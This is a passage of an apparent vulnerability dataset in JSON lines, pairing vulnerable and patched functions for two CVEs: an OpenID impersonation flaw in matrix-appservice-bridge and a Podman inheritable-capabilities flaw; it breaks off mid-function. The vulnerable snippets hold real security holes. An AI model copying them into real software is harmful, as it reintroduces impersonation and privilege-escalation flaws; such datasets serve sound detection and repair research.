{"cve_id": "CVE-2023-38691", "cve_description": "matrix-appservice-bridge provides an API for setting up bridges. Starting in version 4.0.0 and prior to versions 8.1.2 and 9.0.1, a malicious Matrix server can use a foreign user's MXID in an OpenID exchange, allowing a bad actor to impersonate users when using the provisioning API. The library does not check that the servername part of the `sub` parameter (containing the user's *claimed* MXID) is the the same as the servername we are talking to. A malicious actor could spin up a server on any given domain, respond with a `sub` parameter according to the user they want to act as and use the resulting token to perform provisioning requests. Versions 8.1.2 and 9.0.1 contain a patch. As a workaround, disable the provisioning API.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/matrix-org/matrix-appservice-bridge", "patch_url": ["https://github.com/matrix-org/matrix-appservice-bridge/commit/4c6723a5e7beda65cdf1ae5dbb882e8beaac8552"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_176_1", "commit": "cfc6358", "file_path": "src/provisioning/api.ts", "start_line": 345, "end_line": 404, "snippet": "    private async postExchangeOpenId(\n        req: Request<unknown, unknown, ExchangeOpenAPIRequestBody>, res: Response<ExchangeOpenAPIResponseBody>) {\n        const server = req.body?.matrixServer;\n        const openIdToken = req.body?.openIdToken;\n        if (typeof server !== \"string\") {\n            throw new ApiError(\"Missing/invalid matrixServer in body\", ErrCode.BadValue);\n        }\n        if (typeof openIdToken !== \"string\") {\n            throw new ApiError(\"Missing/invalid openIdToken in body\", ErrCode.BadValue);\n        }\n        let url: URL;\n        let hostHeader: string;\n        try {\n            const overrideUrl = this.opts.openIdOverride?.[server];\n            if (overrideUrl) {\n                url = overrideUrl;\n                hostHeader = server;\n            }\n            else {\n                const urlRes = await this.wellknown.resolveMatrixServer(server);\n                hostHeader = urlRes.hostHeader;\n                url = urlRes.url;\n                await this.checkIpBlacklist(url);\n            }\n        }\n        catch (ex) {\n            log.warn(`Failed to fetch the server URL for ${server}`, ex);\n            throw new ApiError(\"Could not identify server url\", ErrCode.BadOpenID);\n        }\n\n        // Now do the token exchange\n        try {\n            const requestUrl = new URL(\"/_matrix/federation/v1/openid/userinfo\", url);\n            const response = await axios.get<{sub: string}>(requestUrl.toString(), {\n                params: {\n                    access_token: openIdToken,\n                },\n                headers: {\n                    'Host': hostHeader,\n                }\n            });\n            if (!response.data.sub) {\n                log.warn(`Server responded with invalid sub information for ${server}`, response.data);\n                throw new ApiError(\"Server did not respond with the correct sub information\", ErrCode.BadOpenID);\n            }\n            const userId = response.data.sub;\n            const token = this.widgetTokenPrefix + uuid().replace(/-/g, \"\");\n            const expiresTs = Date.now() + this.widgetTokenLifetimeMs;\n            await this.store.createSession({\n                userId,\n                token,\n                expiresTs,\n            });\n            res.send({ token, userId });\n        }\n        catch (ex) {\n            log.warn(`Failed to exchange the token for ${server}`, ex);\n            throw new ApiError(\"Failed to exchange token\", ErrCode.BadOpenID);\n        }\n    }"}], "fix_func": [{"id": "fix_js_176_1", "commit": "4c6723a", "file_path": "src/provisioning/api.ts", "start_line": 345, "end_line": 414, "snippet": "    private async postExchangeOpenId(\n        req: Request<unknown, unknown, ExchangeOpenAPIRequestBody>, res: Response<ExchangeOpenAPIResponseBody>) {\n        const server = req.body?.matrixServer;\n        const openIdToken = req.body?.openIdToken;\n        if (typeof server !== \"string\") {\n            throw new ApiError(\"Missing/invalid matrixServer in body\", ErrCode.BadValue);\n        }\n        if (typeof openIdToken !== \"string\") {\n            throw new ApiError(\"Missing/invalid openIdToken in body\", ErrCode.BadValue);\n        }\n        let url: URL;\n        let hostHeader: string;\n        try {\n            const overrideUrl = this.opts.openIdOverride?.[server];\n            if (overrideUrl) {\n                url = overrideUrl;\n                hostHeader = server;\n            }\n            else {\n                const urlRes = await this.wellknown.resolveMatrixServer(server);\n                hostHeader = urlRes.hostHeader;\n                url = urlRes.url;\n                await this.checkIpBlacklist(url);\n            }\n        }\n        catch (ex) {\n            log.warn(`Failed to fetch the server URL for ${server}`, ex);\n            throw new ApiError(\"Could not identify server url\", ErrCode.BadOpenID);\n        }\n\n        // Now do the token exchange\n        try {\n            const requestUrl = new URL(\"/_matrix/federation/v1/openid/userinfo\", url);\n            const response = await axios.get<{sub: string}>(requestUrl.toString(), {\n                params: {\n                    access_token: openIdToken,\n                },\n                headers: {\n                    'Host': hostHeader,\n                }\n            });\n            if (!response.data.sub) {\n                log.warn(`Server responded with invalid sub information for ${server}`, response.data);\n                throw new ApiError(\"Server did not respond with the correct sub information\", ErrCode.BadOpenID);\n            }\n            const userId = response.data.sub;\n\n            const mxidMatch = userId.match(/([^:]+):(.+)/);\n            if (!mxidMatch) {\n                throw new ApiError(\"Server did not respond with a valid MXID\", ErrCode.BadOpenID);\n            }\n            const [, _localpart, serverName] = mxidMatch;\n            if (serverName !== server) {\n                throw new ApiError(\"Server returned a MXID belonging to another homeserver\", ErrCode.BadOpenID);\n            }\n\n            const token = this.widgetTokenPrefix + uuid().replace(/-/g, \"\");\n            const expiresTs = Date.now() + this.widgetTokenLifetimeMs;\n            await this.store.createSession({\n                userId,\n                token,\n                expiresTs,\n            });\n            res.send({ token, userId });\n        }\n        catch (ex) {\n            log.warn(`Failed to exchange the token for ${server}`, ex);\n            throw new ApiError(\"Failed to exchange token\", ErrCode.BadOpenID);\n        }\n    }"}], "vul_patch": "--- a/src/provisioning/api.ts\n+++ b/src/provisioning/api.ts\n@@ -44,6 +44,16 @@\n                 throw new ApiError(\"Server did not respond with the correct sub information\", ErrCode.BadOpenID);\n             }\n             const userId = response.data.sub;\n+\n+            const mxidMatch = userId.match(/([^:]+):(.+)/);\n+            if (!mxidMatch) {\n+                throw new ApiError(\"Server did not respond with a valid MXID\", ErrCode.BadOpenID);\n+            }\n+            const [, _localpart, serverName] = mxidMatch;\n+            if (serverName !== server) {\n+                throw new ApiError(\"Server returned a MXID belonging to another homeserver\", ErrCode.BadOpenID);\n+            }\n+\n             const token = this.widgetTokenPrefix + uuid().replace(/-/g, \"\");\n             const expiresTs = Date.now() + this.widgetTokenLifetimeMs;\n             await this.store.createSession({\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-27649", "cve_description": "A flaw was found in Podman, where containers were started incorrectly with non-empty default permissions. A vulnerability was found in Moby (Docker Engine), where containers were started incorrectly with non-empty inheritable Linux process capabilities. This flaw allows an attacker with access to programs with inheritable file capabilities to elevate those capabilities to the permitted set when execve(2) runs.", "cwe_info": {"CWE-276": {"name": "Incorrect Default Permissions", "description": "During installation, installed file permissions are set to allow anyone to modify those files."}}, "repo": "https://github.com/containers/podman", "patch_url": ["https://github.com/containers/podman/commit/aafa80918a245edcbdaceb1191d749570f1872d0"], "programing_language": "Go", "vul_func": [{"id": "vul_go_119_1", "commit": "c39dffe", "file_path": "libpod/oci_conmon_exec_linux.go", "start_line": 667, "end_line": 795, "snippet": "func prepareProcessExec(c *Container, options *ExecOptions, env []string, sessionID string) (*os.File, error) {\n\tf, err := ioutil.TempFile(c.execBundlePath(sessionID), \"exec-process-\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpspec := new(spec.Process)\n\tif err := JSONDeepCopy(c.config.Spec.Process, pspec); err != nil {\n\t\treturn nil, err\n\t}\n\tpspec.SelinuxLabel = c.config.ProcessLabel\n\tpspec.Args = options.Cmd\n\n\t// We need to default this to false else it will inherit terminal as true\n\t// from the container.\n\tpspec.Terminal = false\n\tif options.Terminal {\n\t\tpspec.Terminal = true\n\t}\n\tif len(env) > 0 {\n\t\tpspec.Env = append(pspec.Env, env...)\n\t}\n\n\t// Add secret envs if they exist\n\tmanager, err := c.runtime.SecretsManager()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor name, secr := range c.config.EnvSecrets {\n\t\t_, data, err := manager.LookupSecretData(secr.Name)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpspec.Env = append(pspec.Env, fmt.Sprintf(\"%s=%s\", name, string(data)))\n\t}\n\n\tif options.Cwd != \"\" {\n\t\tpspec.Cwd = options.Cwd\n\t}\n\n\tvar addGroups []string\n\tvar sgids []uint32\n\n\t// if the user is empty, we should inherit the user that the container is currently running with\n\tuser := options.User\n\tif user == \"\" {\n\t\tlogrus.Debugf(\"Set user to %s\", c.config.User)\n\t\tuser = c.config.User\n\t\taddGroups = c.config.Groups\n\t}\n\n\toverrides := c.getUserOverrides()\n\texecUser, err := lookup.GetUserGroupInfo(c.state.Mountpoint, user, overrides)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(addGroups) > 0 {\n\t\tsgids, err = lookup.GetContainerGroups(addGroups, c.state.Mountpoint, overrides)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"error looking up supplemental groups for container %s exec session %s\", c.ID(), sessionID)\n\t\t}\n\t}\n\n\t// If user was set, look it up in the container to get a UID to use on\n\t// the host\n\tif user != \"\" || len(sgids) > 0 {\n\t\tif user != \"\" {\n\t\t\tfor _, sgid := range execUser.Sgids {\n\t\t\t\tsgids = append(sgids, uint32(sgid))\n\t\t\t}\n\t\t}\n\t\tprocessUser := spec.User{\n\t\t\tUID:            uint32(execUser.Uid),\n\t\t\tGID:            uint32(execUser.Gid),\n\t\t\tAdditionalGids: sgids,\n\t\t}\n\n\t\tpspec.User = processUser\n\t}\n\n\tctrSpec, err := c.specFromState()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tallCaps, err := capabilities.BoundingSet()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif options.Privileged {\n\t\tpspec.Capabilities.Bounding = allCaps\n\t} else {\n\t\tpspec.Capabilities.Bounding = ctrSpec.Process.Capabilities.Bounding\n\t}\n\tif execUser.Uid == 0 {\n\t\tpspec.Capabilities.Effective = pspec.Capabilities.Bounding\n\t\tpspec.Capabilities.Inheritable = pspec.Capabilities.Bounding\n\t\tpspec.Capabilities.Permitted = pspec.Capabilities.Bounding\n\t\tpspec.Capabilities.Ambient = pspec.Capabilities.Bounding\n\t} else {\n\t\tif user == c.config.User {\n\t\t\tpspec.Capabilities.Effective = ctrSpec.Process.Capabilities.Effective\n\t\t\tpspec.Capabilities.Inheritable = ctrSpec.Process.Capabilities.Effective\n\t\t\tpspec.Capabilities.Permitted = ctrSpec.Process.Capabilities.Effective\n\t\t\tpspec.Capabilities.Ambient = ctrSpec.Process.Capabilities.Effective\n\t\t}\n\t}\n\n\thasHomeSet := false\n\tfor _, s := range pspec.Env {\n\t\tif strings.HasPrefix(s, \"HOME=\") {\n\t\t\thasHomeSet = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !hasHomeSet {\n\t\tpspec.Env = append(pspec.Env, fmt.Sprintf(\"HOME=%s\", execUser.Home))\n\t}\n\n\tprocessJSON, err := json.Marshal(pspec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := ioutil.WriteFile(f.Name(), processJSON, 0644); err != nil {\n\t\treturn nil, err\n\t}\n\treturn f, nil\n}"}, {"id": "vul_go_119_2", "commit": "c39dffe", "file_path": "pkg/specgen/generate/security.go", "start_line": 83, "end_line": 261, "snippet": "func securityConfigureGenerator(s *specgen.SpecGenerator, g *generate.Generator, newImage *libimage.Image, rtc *config.Config) error {\n\tvar (\n\t\tcaplist []string\n\t\terr     error\n\t)\n\t// HANDLE CAPABILITIES\n\t// NOTE: Must happen before SECCOMP\n\tif s.Privileged {\n\t\tg.SetupPrivileged(true)\n\t\tcaplist, err = capabilities.BoundingSet()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tmergedCaps, err := capabilities.MergeCapabilities(rtc.Containers.DefaultCapabilities, s.CapAdd, s.CapDrop)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tboundingSet, err := capabilities.BoundingSet()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tboundingCaps := make(map[string]interface{})\n\t\tfor _, b := range boundingSet {\n\t\t\tboundingCaps[b] = b\n\t\t}\n\t\tfor _, c := range mergedCaps {\n\t\t\tif _, ok := boundingCaps[c]; ok {\n\t\t\t\tcaplist = append(caplist, c)\n\t\t\t}\n\t\t}\n\n\t\tprivCapsRequired := []string{}\n\n\t\t// If the container image specifies an label with a\n\t\t// capabilities.ContainerImageLabel then split the comma separated list\n\t\t// of capabilities and record them.  This list indicates the only\n\t\t// capabilities, required to run the container.\n\t\tvar capsRequiredRequested []string\n\t\tfor key, val := range s.Labels {\n\t\t\tif util.StringInSlice(key, capabilities.ContainerImageLabels) {\n\t\t\t\tcapsRequiredRequested = strings.Split(val, \",\")\n\t\t\t}\n\t\t}\n\t\tif !s.Privileged && len(capsRequiredRequested) > 0 {\n\t\t\t// Pass capRequiredRequested in CapAdd field to normalize capabilities names\n\t\t\tcapsRequired, err := capabilities.MergeCapabilities(nil, capsRequiredRequested, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"capabilities requested by user or image are not valid: %q\", strings.Join(capsRequired, \",\"))\n\t\t\t}\n\t\t\t// Verify all capRequired are in the capList\n\t\t\tfor _, cap := range capsRequired {\n\t\t\t\tif !util.StringInSlice(cap, caplist) {\n\t\t\t\t\tprivCapsRequired = append(privCapsRequired, cap)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(privCapsRequired) == 0 {\n\t\t\t\tcaplist = capsRequired\n\t\t\t} else {\n\t\t\t\tlogrus.Errorf(\"Capabilities requested by user or image are not allowed by default: %q\", strings.Join(privCapsRequired, \",\"))\n\t\t\t}\n\t\t}\n\t}\n\n\tconfigSpec := g.Config\n\tconfigSpec.Process.Capabilities.Ambient = []string{}\n\tconfigSpec.Process.Capabilities.Bounding = caplist\n\n\tuser := strings.Split(s.User, \":\")[0]\n\n\tif (user == \"\" && s.UserNS.NSMode != specgen.KeepID) || user == \"root\" || user == \"0\" {\n\t\tconfigSpec.Process.Capabilities.Effective = caplist\n\t\tconfigSpec.Process.Capabilities.Permitted = caplist\n\t\tconfigSpec.Process.Capabilities.Inheritable = caplist\n\t} else {\n\t\tmergedCaps, err := capabilities.MergeCapabilities(nil, s.CapAdd, nil)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"capabilities requested by user are not valid: %q\", strings.Join(s.CapAdd, \",\"))\n\t\t}\n\t\tboundingSet, err := capabilities.BoundingSet()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tboundingCaps := make(map[string]interface{})\n\t\tfor _, b := range boundingSet {\n\t\t\tboundingCaps[b] = b\n\t\t}\n\t\tvar userCaps []string\n\t\tfor _, c := range mergedCaps {\n\t\t\tif _, ok := boundingCaps[c]; ok {\n\t\t\t\tuserCaps = append(userCaps, c)\n\t\t\t}\n\t\t}\n\t\tconfigSpec.Process.Capabilities.Effective = userCaps\n\t\tconfigSpec.Process.Capabilities.Permitted = userCaps\n\t\tconfigSpec.Process.Capabilities.Inheritable = userCaps\n\n\t\t// Ambient capabilities were added to Linux 4.3.  Set ambient\n\t\t// capabilities only when the kernel supports them.\n\t\tif supportAmbientCapabilities() {\n\t\t\tconfigSpec.Process.Capabilities.Ambient = userCaps\n\t\t}\n\t}\n\n\tg.SetProcessNoNewPrivileges(s.NoNewPrivileges)\n\n\tif err := setupApparmor(s, rtc, g); err != nil {\n\t\treturn err\n\t}\n\n\t// HANDLE SECCOMP\n\tif s.SeccompProfilePath != \"unconfined\" {\n\t\tseccompConfig, err := getSeccompConfig(s, configSpec, newImage)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tconfigSpec.Linux.Seccomp = seccompConfig\n\t}\n\n\t// Clear default Seccomp profile from Generator for unconfined containers\n\t// and privileged containers which do not specify a seccomp profile.\n\tif s.SeccompProfilePath == \"unconfined\" || (s.Privileged && (s.SeccompProfilePath == \"\" || s.SeccompProfilePath == config.SeccompOverridePath || s.SeccompProfilePath == config.SeccompDefaultPath)) {\n\t\tconfigSpec.Linux.Seccomp = nil\n\t}\n\n\tg.SetRootReadonly(s.ReadOnlyFilesystem)\n\n\tnoUseIPC := s.IpcNS.NSMode == specgen.FromContainer || s.IpcNS.NSMode == specgen.FromPod || s.IpcNS.NSMode == specgen.Host\n\tnoUseNet := s.NetNS.NSMode == specgen.FromContainer || s.NetNS.NSMode == specgen.FromPod || s.NetNS.NSMode == specgen.Host\n\tnoUseUTS := s.UtsNS.NSMode == specgen.FromContainer || s.UtsNS.NSMode == specgen.FromPod || s.UtsNS.NSMode == specgen.Host\n\n\t// Add default sysctls\n\tdefaultSysctls, err := util.ValidateSysctls(rtc.Sysctls())\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor sysctlKey, sysctlVal := range defaultSysctls {\n\t\t// Ignore mqueue sysctls if --ipc=host\n\t\tif noUseIPC && strings.HasPrefix(sysctlKey, \"fs.mqueue.\") {\n\t\t\tlogrus.Infof(\"Sysctl %s=%s ignored in containers.conf, since IPC Namespace set to host\", sysctlKey, sysctlVal)\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// Ignore net sysctls if --net=host\n\t\tif noUseNet && strings.HasPrefix(sysctlKey, \"net.\") {\n\t\t\tlogrus.Infof(\"Sysctl %s=%s ignored in containers.conf, since Network Namespace set to host\", sysctlKey, sysctlVal)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Ignore uts sysctls if --uts=host\n\t\tif noUseUTS && (strings.HasPrefix(sysctlKey, \"kernel.domainname\") || strings.HasPrefix(sysctlKey, \"kernel.hostname\")) {\n\t\t\tlogrus.Infof(\"Sysctl %s=%s ignored in containers.conf, since UTS Namespace set to host\", sysctlKey, sysctlVal)\n\t\t\tcontinue\n\t\t}\n\n\t\tg.AddLinuxSysctl(sysctlKey, sysctlVal)\n\t}\n\n\tfor sysctlKey, sysctlVal := range s.Sysctl {\n\t\tif s.IpcNS.IsHost() && strings.HasPrefix(sysctlKey, \"fs.mqueue.\") {\n\t\t\treturn errors.Wrapf(define.ErrInvalidArg, \"sysctl %s=%s can't be set since IPC Namespace set to host\", sysctlKey, sysctlVal)\n\t\t}\n\n\t\t// Ignore net sysctls if --net=host\n\t\tif s.NetNS.IsHost() && strings.HasPrefix(sysctlKey, \"net.\") {\n\t\t\treturn errors.Wrapf(define.ErrInvalidArg, \"sysctl %s=%s can't be set since Network Namespace set to host\", sysctlKey, sysctlVal)\n\t\t}\n\n\t\t// Ignore uts sysctls if --uts=host\n\t\tif s.UtsNS.IsHost() && (strings.HasPrefix(sysctlKey, \"kernel.domainname\") || strings.HasPrefix(sysctlKey, \"kernel.hostname\")) {\n\t\t\treturn errors.Wrapf(define.ErrInvalidArg, \"sysctl %s=%s can't be set since UTS Namespace set to host\", sysctlKey, sysctlVal)\n\t\t}\n\n\t\tg.AddLinuxSysctl(sysctlKey, sysctlVal)\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_119_1", "commit": "aafa809", "file_path": "libpod/oci_conmon_exec_linux.go", "start_line": 667, "end_line": 798, "snippet": "func prepareProcessExec(c *Container, options *ExecOptions, env []string, sessionID string) (*os.File, error) {\n\tf, err := ioutil.TempFile(c.execBundlePath(sessionID), \"exec-process-\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpspec := new(spec.Process)\n\tif err := JSONDeepCopy(c.config.Spec.Process, pspec); err != nil {\n\t\treturn nil, err\n\t}\n\tpspec.SelinuxLabel = c.config.ProcessLabel\n\tpspec.Args = options.Cmd\n\n\t// We need to default this to false else it will inherit terminal as true\n\t// from the container.\n\tpspec.Terminal = false\n\tif options.Terminal {\n\t\tpspec.Terminal = true\n\t}\n\tif len(env) > 0 {\n\t\tpspec.Env = append(pspec.Env, env...)\n\t}\n\n\t// Add secret envs if they exist\n\tmanager, err := c.runtime.SecretsManager()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor name, secr := range c.config.EnvSecrets {\n\t\t_, data, err := manager.LookupSecretData(secr.Name)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpspec.Env = append(pspec.Env, fmt.Sprintf(\"%s=%s\", name, string(data)))\n\t}\n\n\tif options.Cwd != \"\" {\n\t\tpspec.Cwd = options.Cwd\n\t}\n\n\tvar addGroups []string\n\tvar sgids []uint32\n\n\t// if the user is empty, we should inherit the user that the container is currently running with\n\tuser := options.User\n\tif user == \"\" {\n\t\tlogrus.Debugf(\"Set user to %s\", c.config.User)\n\t\tuser = c.config.User\n\t\taddGroups = c.config.Groups\n\t}\n\n\toverrides := c.getUserOverrides()\n\texecUser, err := lookup.GetUserGroupInfo(c.state.Mountpoint, user, overrides)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(addGroups) > 0 {\n\t\tsgids, err = lookup.GetContainerGroups(addGroups, c.state.Mountpoint, overrides)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"error looking up supplemental groups for container %s exec session %s\", c.ID(), sessionID)\n\t\t}\n\t}\n\n\t// If user was set, look it up in the container to get a UID to use on\n\t// the host\n\tif user != \"\" || len(sgids) > 0 {\n\t\tif user != \"\" {\n\t\t\tfor _, sgid := range execUser.Sgids {\n\t\t\t\tsgids = append(sgids, uint32(sgid))\n\t\t\t}\n\t\t}\n\t\tprocessUser := spec.User{\n\t\t\tUID:            uint32(execUser.Uid),\n\t\t\tGID:            uint32(execUser.Gid),\n\t\t\tAdditionalGids: sgids,\n\t\t}\n\n\t\tpspec.User = processUser\n\t}\n\n\tctrSpec, err := c.specFromState()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tallCaps, err := capabilities.BoundingSet()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif options.Privileged {\n\t\tpspec.Capabilities.Bounding = allCaps\n\t} else {\n\t\tpspec.Capabilities.Bounding = ctrSpec.Process.Capabilities.Bounding\n\t}\n\n\t// Always unset the inheritable capabilities similarly to what the Linux kernel does\n\t// They are used only when using capabilities with uid != 0.\n\tpspec.Capabilities.Inheritable = []string{}\n\n\tif execUser.Uid == 0 {\n\t\tpspec.Capabilities.Effective = pspec.Capabilities.Bounding\n\t\tpspec.Capabilities.Permitted = pspec.Capabilities.Bounding\n\t} else {\n\t\tif user == c.config.User {\n\t\t\tpspec.Capabilities.Effective = ctrSpec.Process.Capabilities.Effective\n\t\t\tpspec.Capabilities.Inheritable = ctrSpec.Process.Capabilities.Effective\n\t\t\tpspec.Capabilities.Permitted = ctrSpec.Process.Capabilities.Effective\n\t\t\tpspec.Capabilities.Ambient = ctrSpec.Process.Capabilities.Effective\n\t\t}\n\t}\n\n\thasHomeSet := false\n\tfor _, s := range pspec.Env {\n\t\tif strings.HasPrefix(s, \"HOME=\") {\n\t\t\thasHomeSet = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !hasHomeSet {\n\t\tpspec.Env = append(pspec.Env, fmt.Sprintf(\"HOME=%s\", execUser.Home))\n\t}\n\n\tprocessJSON, err := json.Marshal(pspec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := ioutil.WriteFile(f.Name(), processJSON, 0644); err != nil {\n\t\treturn nil, err\n\t}\n\treturn f, nil\n}"}, {"id": "fix_go_119_2", "commit": "aafa809", "file_path": "pkg/specgen/generate/security.go", "start_line": 83, "end_line": 264, "snippet": "func securityConfigureGenerator(s *specgen.SpecGenerator, g *generate.Generator, newImage *libimage.Image, rtc *config.Config) error {\n\tvar (\n\t\tcaplist []string\n\t\terr     error\n\t)\n\t// HANDLE CAPABILITIES\n\t// NOTE: Must happen before SECCOMP\n\tif s.Privileged {\n\t\tg.SetupPrivileged(true)\n\t\tcaplist, err = capabilities.BoundingSet()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tmergedCaps, err := capabilities.MergeCapabilities(rtc.Containers.DefaultCapabilities, s.CapAdd, s.CapDrop)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tboundingSet, err := capabilities.BoundingSet()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tboundingCaps := make(map[string]interface{})\n\t\tfor _, b := range boundingSet {\n\t\t\tboundingCaps[b] = b\n\t\t}\n\t\tfor _, c := range mergedCaps {\n\t\t\tif _, ok := boundingCaps[c]; ok {\n\t\t\t\tcaplist = append(caplist, c)\n\t\t\t}\n\t\t}\n\n\t\tprivCapsRequired := []string{}\n\n\t\t// If the container image specifies an label with a\n\t\t// capabilities.ContainerImageLabel then split the comma separated list\n\t\t// of capabilities and record them.  This list indicates the only\n\t\t// capabilities, required to run the container.\n\t\tvar capsRequiredRequested []string\n\t\tfor key, val := range s.Labels {\n\t\t\tif util.StringInSlice(key, capabilities.ContainerImageLabels) {\n\t\t\t\tcapsRequiredRequested = strings.Split(val, \",\")\n\t\t\t}\n\t\t}\n\t\tif !s.Privileged && len(capsRequiredRequested) > 0 {\n\t\t\t// Pass capRequiredRequested in CapAdd field to normalize capabilities names\n\t\t\tcapsRequired, err := capabilities.MergeCapabilities(nil, capsRequiredRequested, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"capabilities requested by user or image are not valid: %q\", strings.Join(capsRequired, \",\"))\n\t\t\t}\n\t\t\t// Verify all capRequired are in the capList\n\t\t\tfor _, cap := range capsRequired {\n\t\t\t\tif !util.StringInSlice(cap, caplist) {\n\t\t\t\t\tprivCapsRequired = append(privCapsRequired, cap)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(privCapsRequired) == 0 {\n\t\t\t\tcaplist = capsRequired\n\t\t\t} else {\n\t\t\t\tlogrus.Errorf(\"Capabilities requested by user or image are not allowed by default: %q\", strings.Join(privCapsRequired, \",\"))\n\t\t\t}\n\t\t}\n\t}\n\n\tconfigSpec := g.Config\n\tconfigSpec.Process.Capabilities.Ambient = []string{}\n\n\t// Always unset the inheritable capabilities similarly to what the Linux kernel does\n\t// They are used only when using capabilities with uid != 0.\n\tconfigSpec.Process.Capabilities.Inheritable = []string{}\n\tconfigSpec.Process.Capabilities.Bounding = caplist\n\n\tuser := strings.Split(s.User, \":\")[0]\n\n\tif (user == \"\" && s.UserNS.NSMode != specgen.KeepID) || user == \"root\" || user == \"0\" {\n\t\tconfigSpec.Process.Capabilities.Effective = caplist\n\t\tconfigSpec.Process.Capabilities.Permitted = caplist\n\t} else {\n\t\tmergedCaps, err := capabilities.MergeCapabilities(nil, s.CapAdd, nil)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"capabilities requested by user are not valid: %q\", strings.Join(s.CapAdd, \",\"))\n\t\t}\n\t\tboundingSet, err := capabilities.BoundingSet()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tboundingCaps := make(map[string]interface{})\n\t\tfor _, b := range boundingSet {\n\t\t\tboundingCaps[b] = b\n\t\t}\n\t\tvar userCaps []string\n\t\tfor _, c := range mergedCaps {\n\t\t\tif _, ok := boundingCaps[c]; ok {\n\t\t\t\tuserCaps = append(userCaps, c)\n\t\t\t}\n\t\t}\n\t\tconfigSpec.Process.Capabilities.Effective = userCaps\n\t\tconfigSpec.Process.Capabilities.Permitted = userCaps\n\n\t\t// Ambient capabilities were added to Linux 4.3.  Set ambient\n\t\t// capabilities only when the kernel supports them.\n\t\tif supportAmbientCapabilities() {\n\t\t\tconfigSpec.Process.Capabilities.Ambient = userCaps\n\t\t\tconfigSpec.Process.Capabilities.Inheritable = userCaps\n\t\t}\n\t}\n\n\tg.SetProcessNoNewPrivileges(s.NoNewPrivileges)\n\n\tif err := setupApparmor(s, rtc, g); err != nil {\n\t\treturn err\n\t}\n\n\t// HANDLE SECCOMP\n\tif s.SeccompProfilePath != \"unconfined\" {\n\t\tseccompConfig, err := getSeccompConfig(s, configSpec, newImage)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tconfigSpec.Linux.Seccomp = seccompConfig\n\t}\n\n\t// Clear default Seccomp profile from Generator for unconfined containers\n\t// and privileged containers which do not specify a seccomp profile.\n\tif s.SeccompProfilePath == \"unconfined\" || (s.Privileged && (s.SeccompProfilePath == \"\" || s.SeccompProfilePath == config.SeccompOverridePath || s.SeccompProfilePath == config.SeccompDefaultPath)) {\n\t\tconfigSpec.Linux.Seccomp = nil\n\t}\n\n\tg.SetRootReadonly(s.ReadOnlyFilesystem)\n\n\tnoUseIPC := s.IpcNS.NSMode == specgen.FromContainer || s.IpcNS.NSMode == specgen.FromPod || s.IpcNS.NSMode == specgen.Host\n\tnoUseNet := s.NetNS.NSMode == specgen.FromContainer || s.NetNS.NSMode == specgen.FromPod || s.NetNS.NSMode == specgen.Host\n\tnoUseUTS := s.UtsNS.NSMode == specgen.FromContainer || s.UtsNS.NSMode == specgen.FromPod || s.UtsNS.NSMode == specgen.Host\n\n\t// Add default sysctls\n\tdefaultSysctls, err := util.ValidateSysctls(rtc.Sysctls())\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor sysctlKey, sysctlVal := range defaultSysctls {\n\t\t// Ignore mqueue sysctls if --ipc=host\n\t\tif noUseIPC && strings.HasPrefix(sysctlKey, \"fs.mqueue.\") {\n\t\t\tlogrus.Infof(\"Sysctl %s=%s ignored in containers.conf, since IPC Namespace set to host\", sysctlKey, sysctlVal)\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// Ignore net sysctls if --net=host\n\t\tif noUseNet && strings.HasPrefix(sysctlKey, \"net.\") {\n\t\t\tlogrus.Infof(\"Sysctl %s=%s ignored in containers.conf, since Network Namespace set to host\", sysctlKey, sysctlVal)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Ignore uts sysctls if --uts=host\n\t\tif noUseUTS && (strings.HasPrefix(sysctlKey, \"kernel.domainname\") || strings.HasPrefix(sysctlKey, \"kernel.hostname\")) 